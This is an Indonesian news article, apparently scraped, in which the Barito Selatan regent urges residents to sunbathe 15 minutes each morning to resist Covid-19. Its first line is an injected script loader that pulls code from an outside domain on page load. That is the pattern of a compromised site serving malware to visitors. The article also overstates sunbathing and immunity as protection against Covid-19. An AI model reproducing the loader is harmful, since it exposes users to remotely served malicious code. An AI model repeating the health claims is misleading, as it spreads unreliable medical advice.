(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jaga Imunitas Tubuh, Ini Anjuran Bupati Eddy Raya

KANALKALIMANTAN.COM, BUNTOK – Bupati Barito Selatan (Barsel) H Eddy Raya Samsuri mengajak masyarakat untuk membiasakan diri rutin berjemur di pagi hari.

Bupati Barsel mengatakan, mari semua masyarakat kiranya di tengah pandemi Covid-19 yang sedang melandauntuk dapat menjaga tubuh tetap sehat kiranya dapat membiasakan diri setiap pagi mulai pukul 10.00 untuk berjemur sekira 15 menit.

Ã¢â‚¬Å“Dengan berjemur 15 menit di bawah sinar matahari, mampu meningkatkan daya tahan tubuh, dan tentunya dengan kondisi prima kita tidak akan mudah terserang wabah Covid-19,Ã¢â‚¬Â kata Eddy Raya.

Orang nomor satu di Barsel itu merasakan sendiri manfaat dari berjemur di pagi hari. Menurutnya, dengan berjemur tubuh merasa tersuplai vitamin sehingga selalu terasa bugar.

Ã¢â‚¬Å“Menurut para ahli bidang kesehatan, berjemur manfaatnya untuk asupan vitamin D. Saya sendiri merasakan manfaatnya langsung,Ã¢â‚¬Â ujarnya Eddy Raya.

Lebih lanjut olehnya yang sekaligus menyarankan usai berjemur di bawah sinar matahari kiranya untuk jangan langsung beristirahat di dalam ruangan ber-AC atau ruangan suhu dingin.

Ã¢â‚¬Å“Usai berjemur juga kiranya jangan langsung istirahat di ruang bersuhu dingin, namun bersantailah sejenak di tempat yang teduh,Ã¢â‚¬Â pinta Eddy Raya.

Ditambahkan olehnya sekaligus meminta masyarakat untuk tidak panik dalam menghadapi wabah virus corona atau covid-19. Ã¢â‚¬Å“Jika kita menjaga kesehatan tubuh, imunitas kita baik tentunya dapatÃ‚Â menangkal berbagai penyakit termasuk covid-19,Ã¢â‚¬Â tandas Eddy Raya (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie